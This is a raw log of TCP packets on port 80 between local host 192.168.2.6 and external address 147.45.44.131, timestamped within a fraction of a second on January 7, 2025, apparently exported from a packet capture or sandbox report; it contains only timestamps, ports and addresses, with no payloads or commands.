Jan 7, 2025 06:12:06.798892975 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.798903942 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.798933029 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.798942089 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.798954964 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.798966885 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.798976898 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.798999071 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799005032 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.799009085 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799020052 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799030066 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799036026 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.799048901 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799058914 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.799065113 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799076080 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799083948 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.799087048 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799099922 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799108982 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.799110889 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799134016 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.799145937 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799156904 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799161911 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799166918 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799206972 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.799216986 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799228907 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799248934 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.799348116 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799361944 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799372911 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799382925 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.799382925 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799395084 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799403906 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.799405098 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799417019 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799436092 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.799472094 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.799474955 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799485922 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799500942 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799510956 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799519062 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.799523115 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799534082 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799540043 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.799546003 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799561024 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.799635887 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799653053 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799663067 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799671888 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.799674034 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799685955 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799694061 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.799695969 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799707890 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799722910 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.799727917 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799743891 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.799745083 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799757004 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799772024 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799779892 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.799782991 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799793959 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799801111 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.799804926 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799815893 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799827099 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.799849033 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.799868107 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799879074 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799887896 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799897909 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799909115 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799920082 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.799923897 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799936056 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799947977 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.799962997 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.799976110 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799988031 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.799998045 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800008059 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.800009012 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800026894 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.800090075 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800100088 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800110102 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800122976 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800124884 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.800134897 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800144911 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800148010 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.800157070 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800172091 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.800204992 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.800204992 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800216913 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800226927 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800235033 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800247908 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800250053 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.800263882 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.800266981 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800277948 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800297022 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.800329924 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800340891 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800352097 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800363064 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800368071 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.800399065 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.800416946 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800427914 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800438881 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800447941 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.800467968 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800478935 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800478935 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.800489902 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800508976 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.800594091 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800605059 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800610065 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800623894 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800632000 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.800633907 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800645113 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800654888 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800662994 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.800671101 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800688982 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.800728083 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800745964 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800755978 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800764084 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.800781012 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800791979 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800800085 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.800802946 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800828934 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.800884008 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800899029 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800909042 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800918102 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800925016 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.800934076 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800945997 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800956011 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800956011 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.800967932 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800975084 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.800977945 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.800993919 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.801007986 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.852581978 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.852618933 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.852629900 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.852639914 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.852650881 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.852665901 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.852677107 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.852690935 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.852737904 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.891305923 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891350985 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891367912 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891379118 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891388893 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891391039 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.891406059 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891416073 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891421080 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891427040 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891427040 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.891433001 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891438961 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891463995 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891474962 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891479969 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.891505003 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891505003 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.891515970 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891525984 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891555071 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.891611099 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891621113 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891630888 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891640902 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891644955 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.891659021 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891661882 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.891669989 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891675949 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891684055 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891695976 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891702890 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.891706944 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891717911 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891726971 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.891747952 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.891774893 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891786098 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891796112 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891805887 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891823053 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.891844034 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891845942 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.891855955 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891866922 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891887903 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.891906023 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891916990 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891927958 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891937971 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.891961098 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.891983032 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.891993046 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892004013 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892014980 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892024994 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.892040968 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.892184019 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892200947 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892210960 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892220974 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892230034 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892234087 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892235994 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.892239094 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892251015 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892267942 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892271996 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.892278910 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892290115 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892301083 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.892307997 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892319918 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.892323971 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892335892 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892342091 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.892345905 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892359018 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892365932 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.892369986 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892406940 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.892410040 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892421007 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892431021 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892440081 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892442942 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.892458916 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892460108 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.892468929 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892479897 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892499924 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892502069 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.892512083 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892519951 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.892523050 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892546892 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.892597914 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892607927 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892618895 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892628908 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892633915 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.892640114 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892647028 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.892652035 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892678022 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.892724037 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.892741919 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892752886 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892762899 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892771959 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892775059 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.892784119 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892788887 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.892802954 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892818928 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892828941 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892836094 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.892839909 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892851114 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892860889 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.892860889 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892874956 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.892903090 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.892988920 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.892998934 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.893008947 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.893018961 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.893027067 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.893029928 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.893040895 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.893048048 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.893053055 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.893085003 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.893085957 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.893096924 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.893106937 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.893111944 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.893115997 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.893124104 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.893135071 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.893140078 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.893143892 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.893151999 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.893162966 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.893172026 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.893189907 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.893222094 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.893233061 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.893239021 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.893251896 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.893263102 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.893265009 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.893274069 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.893287897 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.893312931 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.893399000 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.893409967 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.893419027 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.893429995 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.893439054 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.893455982 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.944914103 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.944926023 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.944943905 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.944953918 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.944958925 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.944969893 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.944981098 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.944982052 CET	80	49712	147.45.44.131	192.168.2.6
